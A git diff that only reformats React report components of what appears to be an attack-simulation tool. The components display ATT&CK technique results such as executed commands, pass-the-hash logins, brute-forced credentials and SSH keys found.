columns={getUsageColumns()}
|
columns={getUsageColumns()}
|
||||||
data={this.props.data.services}
|
data={this.props.data.services}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.services.length}
|
defaultPageSize={this.props.data.services.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -13,9 +13,11 @@ class T1041 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: "Data exfiltration channels",
|
Header: "Data exfiltration channels",
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
|
{Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
|
||||||
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
|
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
|
||||||
]}])};
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -24,10 +26,10 @@ class T1041 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1041.getC2Columns()}
|
columns={T1041.getC2Columns()}
|
||||||
data={this.props.data.command_control_channel}
|
data={this.props.data.command_control_channel}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.command_control_channel.length}
|
defaultPageSize={this.props.data.command_control_channel.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1059 extends React.Component {
|
class T1059 extends React.Component {
|
||||||
|
@ -14,11 +14,18 @@ class T1059 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: 'Example commands used',
|
Header: 'Example commands used',
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
|
{
|
||||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
|
id: 'machine',
|
||||||
]
|
accessor: x => renderMachine(x.data.machine),
|
||||||
}])};
|
style: {'whiteSpace': 'unset'},
|
||||||
|
width: 160
|
||||||
|
},
|
||||||
|
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
|
||||||
|
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -27,10 +34,10 @@ class T1059 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1059.getCommandColumns()}
|
columns={T1059.getCommandColumns()}
|
||||||
data={this.props.data.cmds}
|
data={this.props.data.cmds}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.cmds.length}
|
defaultPageSize={this.props.data.cmds.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { getUsageColumns } from "./Helpers"
|
import {getUsageColumns} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1064 extends React.Component {
|
class T1064 extends React.Component {
|
||||||
|
@ -17,10 +17,10 @@ class T1064 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.scripts.length !== 0 ?
|
{this.props.data.scripts.length !== 0 ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={getUsageColumns()}
|
columns={getUsageColumns()}
|
||||||
data={this.props.data.scripts}
|
data={this.props.data.scripts}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.scripts.length}
|
defaultPageSize={this.props.data.scripts.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1075 extends React.Component {
|
class T1075 extends React.Component {
|
||||||
|
@ -11,10 +11,10 @@ class T1075 extends React.Component {
|
||||||
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
|
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
|
||||||
}
|
}
|
||||||
|
|
||||||
setLoginHashType(login){
|
setLoginHashType(login) {
|
||||||
if(login.attempts[0].ntlm_hash !== ""){
|
if (login.attempts[0].ntlm_hash !== "") {
|
||||||
login.attempts[0].hashType = 'NTLM';
|
login.attempts[0].hashType = 'NTLM';
|
||||||
} else if(login.attempts[0].lm_hash !== ""){
|
} else if (login.attempts[0].lm_hash !== "") {
|
||||||
login.attempts[0].hashType = 'LM';
|
login.attempts[0].hashType = 'LM';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,12 +22,13 @@ class T1075 extends React.Component {
|
||||||
static getHashColumns() {
|
static getHashColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
|
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
|
||||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
|
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
|
||||||
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
|
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
|
||||||
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
|
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
|
||||||
]
|
]
|
||||||
}])};
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -36,10 +37,10 @@ class T1075 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1075.getHashColumns()}
|
columns={T1075.getHashColumns()}
|
||||||
data={this.props.data.successful_logins}
|
data={this.props.data.successful_logins}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.successful_logins.length}
|
defaultPageSize={this.props.data.successful_logins.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1082 extends React.Component {
|
class T1082 extends React.Component {
|
||||||
|
@ -13,10 +13,16 @@ class T1082 extends React.Component {
|
||||||
static getSystemInfoColumns() {
|
static getSystemInfoColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
{
|
||||||
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
]
|
id: 'machine',
|
||||||
}])};
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -25,10 +31,10 @@ class T1082 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1082.getSystemInfoColumns()}
|
columns={T1082.getSystemInfoColumns()}
|
||||||
data={this.props.data.system_info}
|
data={this.props.data.system_info}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.system_info.length}
|
defaultPageSize={this.props.data.system_info.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1086 extends React.Component {
|
class T1086 extends React.Component {
|
||||||
|
@ -14,11 +14,18 @@ class T1086 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: 'Example Powershell commands used',
|
Header: 'Example Powershell commands used',
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
|
{
|
||||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
|
id: 'machine',
|
||||||
]
|
accessor: x => renderMachine(x.data[0].machine),
|
||||||
}])};
|
style: {'whiteSpace': 'unset'},
|
||||||
|
width: 160
|
||||||
|
},
|
||||||
|
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
|
||||||
|
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -27,10 +34,10 @@ class T1086 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1086.getPowershellColumns()}
|
columns={T1086.getPowershellColumns()}
|
||||||
data={this.props.data.cmds}
|
data={this.props.data.cmds}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.cmds.length}
|
defaultPageSize={this.props.data.cmds.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1090 extends React.Component {
|
class T1090 extends React.Component {
|
||||||
|
@ -13,10 +13,13 @@ class T1090 extends React.Component {
|
||||||
static getProxyColumns() {
|
static getProxyColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machines',
|
{
|
||||||
|
Header: 'Machines',
|
||||||
id: 'machine',
|
id: 'machine',
|
||||||
accessor: x => renderMachineFromSystemData(x),
|
accessor: x => renderMachineFromSystemData(x),
|
||||||
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
|
style: {'whiteSpace': 'unset', textAlign: 'center'}
|
||||||
|
}]
|
||||||
|
}])
|
||||||
};
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
|
@ -26,10 +29,10 @@ class T1090 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1090.getProxyColumns()}
|
columns={T1090.getProxyColumns()}
|
||||||
data={this.props.data.proxies}
|
data={this.props.data.proxies}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.proxies.length}
|
defaultPageSize={this.props.data.proxies.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { ScanStatus } from "./Helpers"
|
import {ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1105 extends React.Component {
|
class T1105 extends React.Component {
|
||||||
|
@ -14,11 +14,12 @@ class T1105 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: 'Files copied',
|
Header: 'Files copied',
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
|
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
|
||||||
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
|
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
|
||||||
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
|
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
|
||||||
]
|
]
|
||||||
}])};
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -27,10 +28,10 @@ class T1105 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status !== ScanStatus.UNSCANNED ?
|
{this.props.data.status !== ScanStatus.UNSCANNED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1105.getFilesColumns()}
|
columns={T1105.getFilesColumns()}
|
||||||
data={this.props.data.files}
|
data={this.props.data.files}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.files.length}
|
defaultPageSize={this.props.data.files.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { getUsageColumns } from "./Helpers"
|
import {getUsageColumns} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1106 extends React.Component {
|
class T1106 extends React.Component {
|
||||||
|
@ -17,10 +17,10 @@ class T1106 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.api_uses.length !== 0 ?
|
{this.props.data.api_uses.length !== 0 ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={getUsageColumns()}
|
columns={getUsageColumns()}
|
||||||
data={this.props.data.api_uses}
|
data={this.props.data.api_uses}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.api_uses.length}
|
defaultPageSize={this.props.data.api_uses.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1107 extends React.Component {
|
class T1107 extends React.Component {
|
||||||
|
@ -10,8 +10,8 @@ class T1107 extends React.Component {
|
||||||
super(props);
|
super(props);
|
||||||
}
|
}
|
||||||
|
|
||||||
static renderDelete(status){
|
static renderDelete(status) {
|
||||||
if(status === ScanStatus.USED){
|
if (status === ScanStatus.USED) {
|
||||||
return <span>Yes</span>
|
return <span>Yes</span>
|
||||||
} else {
|
} else {
|
||||||
return <span>No</span>
|
return <span>No</span>
|
||||||
|
@ -21,11 +21,19 @@ class T1107 extends React.Component {
|
||||||
static getDeletedFileColumns() {
|
static getDeletedFileColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
|
{
|
||||||
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
{Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
|
id: 'machine',
|
||||||
style: { 'whiteSpace': 'unset' }, width: 160}]
|
accessor: x => renderMachineFromSystemData(x._id.machine),
|
||||||
}])};
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
|
||||||
|
{
|
||||||
|
Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
|
||||||
|
style: {'whiteSpace': 'unset'}, width: 160
|
||||||
|
}]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -34,10 +42,10 @@ class T1107 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.deleted_files.length !== 0 ?
|
{this.props.data.deleted_files.length !== 0 ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1107.getDeletedFileColumns()}
|
columns={T1107.getDeletedFileColumns()}
|
||||||
data={this.props.data.deleted_files}
|
data={this.props.data.deleted_files}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.deleted_files.length}
|
defaultPageSize={this.props.data.deleted_files.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1110 extends React.Component {
|
class T1110 extends React.Component {
|
||||||
|
@ -13,15 +13,23 @@ class T1110 extends React.Component {
|
||||||
static getServiceColumns() {
|
static getServiceColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
{
|
||||||
style: { 'whiteSpace': 'unset' }, width: 160},
|
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
|
style: {'whiteSpace': 'unset'}, width: 160
|
||||||
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
|
},
|
||||||
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
|
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
|
||||||
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
|
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
|
||||||
{Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
|
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
|
||||||
]
|
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
|
||||||
}])};
|
{
|
||||||
|
Header: 'Successful credentials',
|
||||||
|
id: 'credentials',
|
||||||
|
accessor: x => this.renderCreds(x.successful_creds),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
static renderCreds(creds) {
|
static renderCreds(creds) {
|
||||||
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
||||||
|
|
|
@ -16,10 +16,10 @@ class T1129 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.dlls.length !== 0 ?
|
{this.props.data.dlls.length !== 0 ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={getUsageColumns()}
|
columns={getUsageColumns()}
|
||||||
data={this.props.data.dlls}
|
data={this.props.data.dlls}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.dlls.length}
|
defaultPageSize={this.props.data.dlls.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1145 extends React.Component {
|
class T1145 extends React.Component {
|
||||||
|
@ -10,11 +10,11 @@ class T1145 extends React.Component {
|
||||||
super(props);
|
super(props);
|
||||||
}
|
}
|
||||||
|
|
||||||
static renderSSHKeys(keys){
|
static renderSSHKeys(keys) {
|
||||||
let output = [];
|
let output = [];
|
||||||
keys.forEach(function(keyInfo){
|
keys.forEach(function (keyInfo) {
|
||||||
output.push(<div key={keyInfo['name']+keyInfo['home_dir']}>
|
output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}>
|
||||||
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
|
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
|
||||||
});
|
});
|
||||||
return (<div>{output}</div>);
|
return (<div>{output}</div>);
|
||||||
}
|
}
|
||||||
|
@ -22,16 +22,21 @@ class T1145 extends React.Component {
|
||||||
static getKeysInfoColumns() {
|
static getKeysInfoColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine',
|
{
|
||||||
|
Header: 'Machine',
|
||||||
id: 'machine',
|
id: 'machine',
|
||||||
accessor: x => renderMachineFromSystemData(x.machine),
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
style: { 'whiteSpace': 'unset' }},
|
style: {'whiteSpace': 'unset'}
|
||||||
{Header: 'Keys found',
|
},
|
||||||
|
{
|
||||||
|
Header: 'Keys found',
|
||||||
id: 'keys',
|
id: 'keys',
|
||||||
accessor: x => T1145.renderSSHKeys(x.ssh_info),
|
accessor: x => T1145.renderSSHKeys(x.ssh_info),
|
||||||
style: { 'whiteSpace': 'unset' }},
|
style: {'whiteSpace': 'unset'}
|
||||||
]
|
},
|
||||||
}])};
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -40,10 +45,10 @@ class T1145 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1145.getKeysInfoColumns()}
|
columns={T1145.getKeysInfoColumns()}
|
||||||
data={this.props.data.ssh_info}
|
data={this.props.data.ssh_info}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.ssh_info.length}
|
defaultPageSize={this.props.data.ssh_info.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue